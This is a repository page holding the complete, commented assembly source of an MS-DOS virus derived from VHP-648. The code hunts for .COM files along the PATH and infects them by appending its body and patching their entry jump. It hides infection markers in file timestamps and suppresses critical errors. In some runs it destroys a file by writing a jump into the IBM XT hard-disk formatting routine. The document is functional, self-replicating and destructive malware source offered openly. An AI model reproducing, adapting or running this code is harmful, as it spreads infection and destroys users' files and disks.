MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.c-627.asm

331 lines
11 KiB
NASM
Raw Normal View History

2021-01-12 23:34:47 +00:00
name Virus
title Virus; based on the famous VHP-648 virus
.radix 16
code segment
assume cs:code,ds:code
org 100
environ equ 2C
start:
jmp virus
int 20
data label byte ;Data section
dtaaddr dd ? ;Disk Transfer Address
ftime dw ? ;File date
fdate dw ? ;File time
fattrib dw ? ;File attribute
saveins db 3 dup (90) ;Original first 3 bytes
newjmp db 0E9 ;Code of jmp instruction
codeptr dw ? ;Here is formed a jump to virus code
allcom db '*.COM',0 ;Filespec to search for
poffs dw ? ;Address of 'PATH' string
eqoffs dw ? ;Address of '=' sign
pathstr db 'PATH='
fname db 40 dup (' ') ;Path name to search for
;Disk Transfer Address for Find First / Find Next:
mydta label byte
drive db ? ;Drive to search for
pattern db 13d dup (?) ;Search pattern
reserve db 7 dup (?) ;Not used
attrib db ? ;File attribute
time dw ? ;File time
date dw ? ;File date
fsize dd ? ;File size
namez db 13d dup (?) ;File name found
;This replaces the first instruction of a destroyed file.
;It's a jmp instruction into the hard disk formatting program (IBM XT only):
bad_jmp db 0EA,0,0,0,0C8
errhnd dd ?
virus:
push cx ;Save CX
mov dx,offset data ;Restore original first instruction
modify equ $-2 ;The instruction above is changed
;before each contamination
cld
mov si,dx
add si,saveins-data ;Instruction saved there
mov di,offset start
mov cx,3 ;Move 3 bytes
rep movsb ;Do it
mov si,dx ;Keep SI pointed at data
mov ah,30 ;Get DOS version
int 21
cmp al,0 ;Less than 2.0?
jne skip1
jmp exit ;Exit if so
skip1:
push es ;Save ES
mov ah,2F ;Get current DTA in ES:BX
int 21
mov [si+dtaaddr-data],bx ;Save it in dtaaddr
mov [si+dtaaddr+2-data],es
mov ax,3524 ;Get interrupt 24h handler
int 21 ; and save it in errhnd
mov [si+errhnd-data],bx
mov [si+errhnd+2-data],es
pop es ;Restore ES
mov ax,2524 ;Set interrupt 24h handler
mov dx,si
add dx,handler-data
int 21
mov dx,mydta-data
add dx,si
mov ah,1A ;Set DTA
int 21
push es ;Save ES & SI
push si
mov es,ds:[environ] ;Environment address
xor di,di
n_00015A: ;Search 'PATH' in environment
pop si ;Restore data offset in SI
push si
add si,pathstr-data
lodsb
mov cx,8000 ;Maximum 32K in environment
repne scasb ;Search for first letter ('P')
mov cx,4 ;4 letters in 'PATH'
n_000169:
lodsb ;Search for next char
scasb
jne n_00015A ;If not found, search for next 'P'
loop n_000169 ;Loop until done
pop si ;Restore SI & ES
pop es
mov [si+poffs-data],di ;Save 'PATH' offset in poffs
mov bx,si ;Point BX at data area
add si,fname-data ;Point SI & DI at fname
mov di,si
jmp short n_0001BF
n_000185:
cmp word ptr [si+poffs-data],6C
jne n_00018F
jmp olddta
n_00018F:
push ds
push si
mov ds,es:[environ]
mov di,si
mov si,es:[di+poffs-data]
add di,fname-data
n_0001A1:
lodsb
cmp al,';'
je n_0001B0
cmp al,0
je n_0001AD
stosb
jmp n_0001A1
n_0001AD:
xor si,si
n_0001B0:
pop bx
pop ds
mov [bx+poffs-data],si
cmp byte ptr [di-1],'\'
je n_0001BF
mov al,'\' ;Add '\' if not already present
stosb
n_0001BF:
mov [bx+eqoffs-data],di ;Save '=' offset in eqoffs
mov si,bx ;Restore data pointer in SI
add si,allcom-data
mov cl,6 ;6 bytes in ASCIIZ '*.COM'
rep movsb ;Move '*.COM' at fname
mov si,bx ;Restore SI
mov ah,4E ;Find first file
mov dx,fname-data
add dx,si
mov cl,11b ;Hidden, Read/Only or Normal files
int 21
jmp short n_0001E3
findnext:
mov ah,4F ;Find next file
int 21
n_0001E3:
jnc n_0001E7 ;If found, try to contaminate it
jmp n_000185 ;Otherwise search in another directory
n_0001E7:
mov ax,[si+time-data] ;Check file time
and al,11111b ; (the seconds, more exactly)
cmp al,62d/2 ;Are they 62?
;If so, file is already contains the virus, search for another:
je findnext
;Is file size greather than 64,000 bytes?
cmp [si+fsize-data],64000d
ja findnext ;If so, search for next file
;Is file size less than 10 bytes?
cmp word ptr [si+fsize-data],10d
jb findnext ;If so, search for next file
mov di,[si+eqoffs-data]
push si ;Save SI
add si,namez-data ;Point SI at namez
n_000209:
lodsb
stosb
cmp al,0
jne n_000209
pop si ;Restore SI
mov ax,4300 ;Get file attributes
mov dx,fname-data
add dx,si
int 21
mov [si+fattrib-data],cx ;Save them in fattrib
mov ax,4301 ;Set file attributes
and cl,not 1 ;Turn off Read Only flag
int 21
mov ax,3D02 ;Open file with Read/Write access
int 21
jnc n_00023E
jmp oldattr ;Exit on error
n_00023E:
mov bx,ax ;Save file handle in BX
mov ax,5700 ;Get file date & time
int 21
mov [si+ftime-data],cx ;Save time in ftime
mov [si+fdate-data],dx ;Save date in fdate
mov ah,2C ;Get system time
int 21
and dh,111b ;Are seconds a multiple of 8?
jnz n_000266 ;If not, contaminate file (don't destroy):
;Destroy file by rewriting an illegal jmp as first instruction:
mov ah,40 ;Write to file handle
mov cx,5 ;Write 5 bytes
mov dx,si
add dx,bad_jmp-data ;Write THESE bytes
int 21 ;Do it
jmp short oldtime ;Exit
;Try to contaminate file:
;Read first instruction of the file (first 3 bytes) and save it in saveins:
n_000266:
mov ah,3F ;Read from file handle
mov cx,3 ;Read 3 bytes
mov dx,saveins-data ;Put them there
add dx,si
int 21
jc oldtime ;Exit on error
cmp ax,3 ;Are really 3 bytes read?
jne oldtime ;Exit if not
;Move file pointer to end of file:
mov ax,4202 ;LSEEK from end of file
xor cx,cx ;0 bytes from end
xor dx,dx
int 21
jc oldtime ;Exit on error
mov cx,ax ;Get the value of file pointer (file size)
add ax,virus-data-3 ;Add virus data length to get code offset
mov [si+codeptr-data],ax ;Save result in codeptr
inc ch ;Add 100h to CX
mov di,si
add di,modify-data ;A little self-modification
mov [di],cx
mov ah,40 ;Write to file handle
mov cx,endcode-data ;Virus code length as bytes to be written
mov dx,si ;Write from data to endcode
int 21
jc oldtime ;Exit on error
cmp ax,endcode-data ;Are all bytes written?
jne oldtime ;Exit if not
mov ax,4200 ;LSEEK from the beginning of the file
xor cx,cx ;Just at the file beginning
xor dx,dx
int 21
jc oldtime ;Exit on error
;Rewrite the first instruction of the file with a jump to the virus code:
mov ah,40 ;Write to file handle
mov cl,3 ;3 bytes to write
mov dx,si
add dx,newjmp-data ;Write THESE bytes
int 21
oldtime:
mov dx,[si+fdate-data] ;Restore file date
mov cx,[si+ftime-data] ; and time
and cl,not 11111b
or cl,11111b ;Set seconds to 62 (?!)
mov ax,5701 ;Set file date & time
int 21
mov ah,3E ;Close file handle
int 21
oldattr:
mov ax,4301 ;Set file attributes
mov cx,[si+fattrib-data] ;They were saved in fattrib
mov dx,fname-data
add dx,si
int 21
olddta:
push ds ;Save DS
mov ah,1A ;Set DTA
mov dx,[si+dtaaddr-data] ;Restore saved DTA
mov ds,[si+dtaaddr+2-data]
int 21
mov ax,2524 ;Set interrupt 24h handler
mov dx,[si+errhnd-data] ;Restore saved handler
mov ds,[si+errhnd+2-data]
int 21
pop ds ;Restore DS
exit:
pop cx ;Restore CX
xor ax,ax ;Clear registers
xor bx,bx
xor dx,dx
xor si,si
mov di,100 ;Jump to CS:100
push di ; by doing funny RET
xor di,di
ret -1
handler: ;Critical error handler
mov al,0 ;Just ignore error
iret ; and return
endcode label byte
code ends
end start